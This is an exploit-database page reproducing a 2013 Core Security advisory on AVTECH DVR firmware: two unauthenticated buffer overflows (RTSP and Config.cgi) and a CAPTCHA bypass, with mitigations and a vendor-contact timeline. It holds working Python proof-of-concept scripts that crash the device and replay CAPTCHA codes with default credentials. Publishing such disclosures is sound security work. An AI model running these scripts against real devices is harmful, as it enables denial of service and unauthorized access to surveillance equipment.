Search for hundreds of thousands of exploits

"AVTECH DVR Firmware 1017-1003-1009-1003 - Multiple Vulnerabilities"

Author

Exploit author

"Core Security"

Platform

Exploit platform

hardware

Release date

Exploit published date

2013-08-29

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
Core Security - Corelabs Advisory
http://corelabs.coresecurity.com/

AVTECH DVR multiple vulnerabilities


1. *Advisory Information*

Title: AVTECH DVR multiple vulnerabilities
Advisory ID: CORE-2013-0726
Advisory URL:
http://www.coresecurity.com/advisories/avtech-dvr-multiple-vulnerabilities
Date published: 2013-08-28
Date of last update: 2013-08-28
Vendors contacted: AVTECH Corporation
Release mode: User release


2. *Vulnerability Information*

Class: Buffer overflow [CWE-119], Buffer overflow [CWE-119], Improper
Access Control [CWE-284]
Impact: Code execution, Security bypass
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-2013-4980, CVE-2013-4981, CVE-2013-4982


3. *Vulnerability Description*

Multiple vulnerabilities have been found in AVTECH AVN801 DVR [1] (and
potentially other devices sharing the affected firmware) that could
allow a remote attacker:

   1. [CVE-2013-4980] To execute arbitrary code without authentication
by exploiting a buffer overflow in the RTSP packet handler.
   2. [CVE-2013-4981] To execute arbitrary code without authentication
by exploiting a buffer overflow in '/cgi-bin/user/Config.cgi', via a
specially crafted HTTP POST request.
   3. [CVE-2013-4982] To bypass the captcha of the administration login
console enabling several automated attack vectors.


4. *Vulnerable Packages*

   . DVR 4CH H.264 (AVTECH AVN801) firmware 1017-1003-1009-1003.
   . Older versions are probably affected too, but they were not checked.


5. *Vendor Information, Solutions and Workarounds*

There was no official answer from AVTECH support team after several
attempts (see [Sec. 8]); contact vendor for further information. Some
mitigation actions may be:

   . Do not expose the DVR to internet unless absolutely necessary.
   . Have at least one proxy filtering the 'SETUP' parameter in RTSP
requests.
   . Have at least one proxy filtering the 'Network.SMTP.Receivers'
parameter in HTTP requests to '/cgi-bin/user/Config.cgi'.


6. *Credits*

[CVE-2013-4980] was discovered and researched by Anibal Sacco from Core
Security Exploit Writers Team. [CVE-2013-4981] and [CVE-2013-4982] were
discovered and researched by Facundo Pantaleo from Core Security
Consulting Team.


7. *Technical Description / Proof of Concept Code*


7.1. *Buffer Overflow in RTSP Packet Handler*

[CVE-2013-4980] The following Python script sends a specially crafted
packet that triggers a buffer overrun condition when handling the RTSP
transaction; no authentication is required. As a result, the device
crashes and it could possibly lead to a remote code execution.

/-----
import socket

HOST = '192.168.1.1'
PORT = 554              
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
trigger_pkt = "SETUP
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2AaLSaLS
RTSP/1.0\r\n"
trigger_pkt += "CSeq: 1\r\n"
trigger_pkt += "User-Agent: VLC media player (LIVE555 Streaming Media
v2010.02.10)\r\n\r\n"
print "[*] Sending trigger"
s.sendall(trigger_pkt)
data = s.recv(1024)
print '[*] Response:', repr(data), "\r\n"
s.close()
-----/


7.2. *Buffer Overflow in config.cgi Parameters*

[CVE-2013-4981] The following Python script exploits other buffer
overflow condition; no authentication is required. As a result, the
device crashes and it would possible lead to a remote code execution.


/-----
import httplib

ip = "192.168.1.1"
conn = httplib.HTTPConnection(ip)
conn.request("POST",
"/cgi-bin/user/Config.cgi?action=set&Network.SMTP.Receivers=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
HTTP/1.1")
resp = conn.getresponse()
print resp.read()
-----/


7.3. *CAPTCHA Bypass*

[CVE-2013-4982] The following Python proof of concept sends a wrong
captcha in first place (just to verify that captcha protection is
enabled); then, it sends ten requests with an arbitrary hardcoded
captcha and its matching verification code. As a result, the captcha
protection can by completely bypassed.


/-----
import httplib

ip = "192.168.1.1"
print "Performing captcha replay with hardcoded wrong captcha code and
verify code..."
conn = httplib.HTTPConnection(ip)
conn.request("GET",
"/cgi-bin/nobody/VerifyCode.cgi?account=YWRtaW46YWRtaW4=&captcha_code=FMUA&verify_code=FMUYyLOivRpgc
HTTP/1.1")
resp = conn.getresponse()
print "Reading webpage..."
print resp.read()
print "Performing several captcha replays with hardcoded right captcha
code and verify code..."
for i in range(1, 10):
    conn = httplib.HTTPConnection(ip)
    conn.request("GET",
"/cgi-bin/nobody/VerifyCode.cgi?account=YWRtaW46YWRtaW4=&captcha_code=FMUF&verify_code=FMUYyLOivRpgc
HTTP/1.1")
    resp = conn.getresponse()
    print "Reading webpage..."
    print resp.read()

-----/


8. *Report Timeline*

. 2013-08-06:
Core Security Technologies attempts to contact vendor using the AVTECH
official technical support contact page [2]. No reply received.

. 2013-08-12:
Core attempts to contact vendor.

. 2013-08-20:
Core attempts to contact vendor.

. 2013-08-28:
After 3 attempts to contact vendor, the advisory CORE-2013-0726 is
released as 'user release'.


9. *References*

[1] http://www.avtech.com.tw.
[2]
http://www.avtech.com.tw/index.php?option=com_content&view=article&id=244&Itemid=453&lang=en.



10. *About CoreLabs*

CoreLabs, the research center of Core Security Technologies, is charged
with anticipating the future needs and requirements for information
security technologies. We conduct our research in several important
areas of computer security including system vulnerabilities, cyber
attack planning and simulation, source code auditing, and cryptography.
Our results include problem formalization, identification of
vulnerabilities, novel solutions and prototypes for new technologies.
CoreLabs regularly publishes security advisories, technical papers,
project information and shared software tools for public use at:
http://corelabs.coresecurity.com.


11. *About Core Security Technologies*

Core Security Technologies enables organizations to get ahead of threats
with security test and measurement solutions that continuously identify
and demonstrate real-world exposures to their most critical assets. Our
customers can gain real visibility into their security standing, real
validation of their security controls, and real metrics to more
effectively secure their organizations.

Core Security's software solutions build on over a decade of trusted
research and leading-edge threat expertise from the company's Security
Consulting Services, CoreLabs and Engineering groups. Core Security
Technologies can be reached at +1 (617) 399-6980 or on the Web at:
http://www.coresecurity.com.


12. *Disclaimer*

The contents of this advisory are copyright (c) 2013 Core Security
Technologies and (c) 2013 CoreLabs, and are licensed under a Creative
Commons Attribution Non-Commercial Share-Alike 3.0 (United States)
License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/.


13. *PGP/GPG Keys*

This advisory has been signed with the GPG key of Core Security
Technologies advisories team, which is available for download at
http://www.coresecurity.com/files/attachments/core_security_advisories.asc.
Release DateTitleTypePlatformAuthor
2018-10-05"D-Link Central WiFiManager Software Controller 1.03 - Multiple Vulnerabilities"webappsphp"Core Security"
2018-07-27"SoftNAS Cloud < 4.0.3 - OS Command Injection"webappsphp"Core Security"
2018-07-13"QNAP Qcenter Virtual Appliance - Multiple Vulnerabilities"webappshardware"Core Security"
2018-02-22"Trend Micro Email Encryption Gateway 5.5 (Build 1111.00) - Multiple Vulnerabilities"webappsjsp"Core Security"
2018-02-14"Dell EMC Isilon OneFS - Multiple Vulnerabilities"webappslinux"Core Security"
2017-06-28"Kaspersky Anti-Virus File Server 8.0.3.297 - Multiple Vulnerabilities"webappslinux"Core Security"
2017-05-10"SAP SAPCAR 721.510 - Heap Buffer Overflow"doslinux"Core Security"
2016-11-22"TP-LINK TDDP - Multiple Vulnerabilities"doshardware"Core Security"
2016-08-10"SAP SAPCAR - Multiple Vulnerabilities"doslinux"Core Security"
2016-03-16"FreeBSD 10.2 (x64) - 'amd64_set_ldt' Heap Overflow"dosfreebsd_x86-64"Core Security"
2015-12-09"Microsoft Windows Media Center - '.Link' File Incorrectly Resolved Reference (MS15-134)"remotewindows"Core Security"
2015-07-08"AirLive (Multiple Products) - OS Command Injection"webappshardware"Core Security"
2015-07-08"AirLink101 SkyIPCam1620W - OS Command Injection"webappshardware"Core Security"
2015-05-26"Sendio ESP - Information Disclosure"webappsjsp"Core Security"
2015-03-18"Fortinet Single Sign On - Stack Overflow"doswindows"Core Security"
2015-01-29"FreeBSD - Multiple Vulnerabilities"dosfreebsd"Core Security"
2015-01-26"Android WiFi-Direct - Denial of Service"dosandroid"Core Security"
2014-11-24"Advantech EKI-6340 - Command Injection"webappscgi"Core Security"
2014-10-17"SAP NetWeaver Enqueue Server - Denial of Service"doswindows"Core Security"
2014-04-17"SAP Router - Timing Attack Password Disclosure"remotehardware"Core Security"
2014-03-12"Oracle VM VirtualBox - 3D Acceleration Multiple Vulnerabilities"dosmultiple"Core Security"
2014-02-06"Publish-It 3.6d - Buffer Overflow"doswindows"Core Security"
2013-12-17"Microsoft Windows Kernel - 'win32k.sys' Integer Overflow (MS13-101)"doswindows"Core Security"
2013-12-11"IcoFX 2.5.0.0 - '.ico' Buffer Overflow (PoC)"doswindows"Core Security"
2013-11-08"Vivotek IP Cameras - RTSP Authentication Bypass"webappshardware"Core Security"
2013-10-02"PinApp Mail-SeCure 3.70 - Access Control Failure"locallinux"Core Security"
2013-09-09"Sophos Web Protection Appliance - Multiple Vulnerabilities"webappslinux"Core Security"
2013-08-29"AVTECH DVR Firmware 1017-1003-1009-1003 - Multiple Vulnerabilities"doshardware"Core Security"
2013-08-07"Hikvision IP Cameras 4.1.0 b130111 - Multiple Vulnerabilities"webappshardware"Core Security"
2013-08-02"TP-Link TL-SC3171 IP Cameras - Multiple Vulnerabilities"webappshardware"Core Security"
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/27942/?format=json')

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.